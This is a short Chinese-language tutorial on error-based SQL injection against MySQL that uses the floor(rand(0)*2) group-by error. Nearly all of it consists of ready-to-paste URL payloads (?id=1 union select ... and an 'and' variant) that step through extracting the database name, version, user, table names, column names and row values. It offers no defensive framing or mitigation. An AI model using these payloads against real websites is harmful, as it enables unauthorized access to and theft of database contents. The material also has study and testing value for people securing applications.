SQL注入--利用floor(rand(0)*2)报错返回信息

利用floor(rand(0)*2)报错返回信息

一、 报错原理

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二、通用格式

   ?id=1 union select (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
  //将payload插入即可

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三、利用报错返回信息

1. 返回数据库名称、版本信息、用户名称

   // payload
  (select concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e)

   // 整体语句
 id=1 union select (select 1 from(select count(*),concat((select concat(0x7e,database(),0x7e,version(),0x7e,user(),0x7e)),floor(rand(0)*2))x from information_schema.tables group by x)a);

2. 返回该数据库中表信息

    // payload
   (select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1)
   //注意指定数据库，否则返回的是information_schema的表名信息

   // 整体语句
   ?id=1 union select (select 1 from (select count(*),concat((select concat(0x7e,table_name,0x7e)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

3. 返回列信息

   //payload
   (select concat(0x7e,column_name,0x7e)from information_schema.columns where table_name='region' limit 0,1)

   //整体语句
   ?id=1 union select (select 1 from (select count(*),concat( (select concat(0x7e,column_name,0x7e)from information_schema.columns where table_name='region' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
   //替换limit的值，获得全部列名称

4. 获得字段值

   //payload
   (select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1)

   //整体语句
   ?id=1 union select (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

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可将union select替换为and

即：

   ?id=1 and (select 1 from (select count(*),concat((select concat(0x7e,id,0x7e,pid,0x7e,name,0x7e,type,0x7e)from region limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

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